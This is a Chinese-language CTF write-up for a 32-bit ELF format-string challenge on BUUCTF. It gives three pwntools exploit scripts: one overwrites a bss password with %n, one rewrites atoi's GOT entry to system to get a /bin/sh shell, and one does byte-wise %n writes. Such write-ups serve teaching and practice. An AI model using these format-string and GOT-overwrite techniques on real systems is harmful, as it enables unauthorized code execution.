1.检查保护机制
-
32位IDA
-
GOT表可写
-
栈溢出保护开启
-
堆栈不可执行
-
地址随机化未开启
2.使用32位IDA打开该ELF文件
- main函数
偏移量为10,32为是栈地址,64位是寄存器
3.EXP
- 方法一
- 思路:
- 1.在bss段地址输入格式化字符串%10$n
- 2.atoi把字符转换为整型
- 3.密码发送str(4),因为网bss段输入了”%10$n“长度为4
#encoding = utf-8 from pwn import* context(os = 'linux',arch = 'i386',log_level = 'debug') #p = remote("node4.buuoj.cn",27532) p = process("./pwn") bss = 0x0804C044 payload = p32(bss) + b'%10$n' p.sendline(payload) p.recvuntil("your passwd:") #gdb.attach(p) p.sendline(str(4)) p.interactive()
- 方法二
- 思路:
- 1.修改atoi的got表为system地址
- 2.再发送“/bin/sh”,就可以拿到权限了
#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
atoi_addr = elf.got['atoi']
system_addr = elf.plt['system']
payload = fmtstr_payload(10,{atoi_addr:system_addr})
p.sendline(payload)
p.send("/bin/sh\x00")
p.interactive()
- 方法三
- 思路
- 1.偏移量为10
- 2.bss段地址为:0x0804C044
- 3.bss段地址值为:0x10101010
- 4.发送payload后,再发送密码:0x10101010
- 5.%10$n显示的是bss的地址,%11$n显示的是bss+1的地址......
#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
payload = p32(bss) + p32(bss+1) + p32(bss+2) + p32(bss+3) + b"%10$n%11$n%12$n%13$n"
p.sendline(payload)
p.recvuntil("your passwd:")
#gdb.attach(p)
p.send(str(0x10101010))
p.interactive()